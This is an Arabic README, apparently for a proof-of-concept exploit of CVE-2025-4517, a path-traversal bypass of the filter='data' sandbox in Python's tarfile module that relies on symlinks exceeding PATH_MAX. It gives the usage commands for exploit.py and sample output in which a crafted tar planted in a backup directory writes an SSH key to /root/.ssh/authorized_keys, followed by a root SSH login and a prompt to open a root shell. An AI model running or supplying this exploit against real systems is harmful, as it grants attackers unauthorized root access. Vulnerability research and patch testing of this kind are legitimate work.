
إثبات مفهوم لاستغلال CVE-2025-4517، وهي ثغرة اجتياز المسار في وضع الحماية filter='data' الخاص بوحدة tarfile في بايثون، مما يتيح كتابة ملفات عشوائية خارج دليل الاستخراج عبر سلاسل روابط رمزية مصممة بعناية.
filter="data" في وحدة tarfile للغة Python (PoC)ثغرة اجتياز المسار في وحدة
tarfileبلغة Python تؤثر على الإصدارات من 3.8.0 حتى 3.13.1. يمكن تجاوز الصندوق الرمليfilter="data"— المصمَّم لمنع عمليات الاستخراج غير الآمنة — عبر صياغة مسارات تتجاوزPATH_MAX(4096 بايت)، مما يجعلos.path.realpath()يتوقف بصمت عن حل الروابط الرمزية (symlinks). يرى فحص الأمان مسارًا يبدو آمنًا بينما يقوم النواة (kernel) بحل المسار الحقيقي، مما يسمح بالكتابة خارج مجلد الاستخراج. يستغل هذا الـ PoC الثغرة لكتابة مفتاح SSH عام إلى/root/.ssh/authorized_keys.
PATH_MAX.filter="data" الدالة os.path.realpath() للتحقق من كل مسار — ولكن عند PATH_MAX يتوقف عن الحل ويرى المسار كما لو كان لا يزال داخل مجلد التدريج (staging directory). يمر الفحص بنجاح./root/.ssh/authorized_keys.ssh-keygen (أو توفير مفتاحك العام الخاص عبر -k)sudo لتشغيل عملية الاستخراج المعرضة للثغرة# توليد زوج مفاتيح جديد تلقائيًا
python3 exploit.py
# استخدام مفتاح عام موجود
python3 exploit.py -k ~/.ssh/id_ed25519.pub
مثال:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):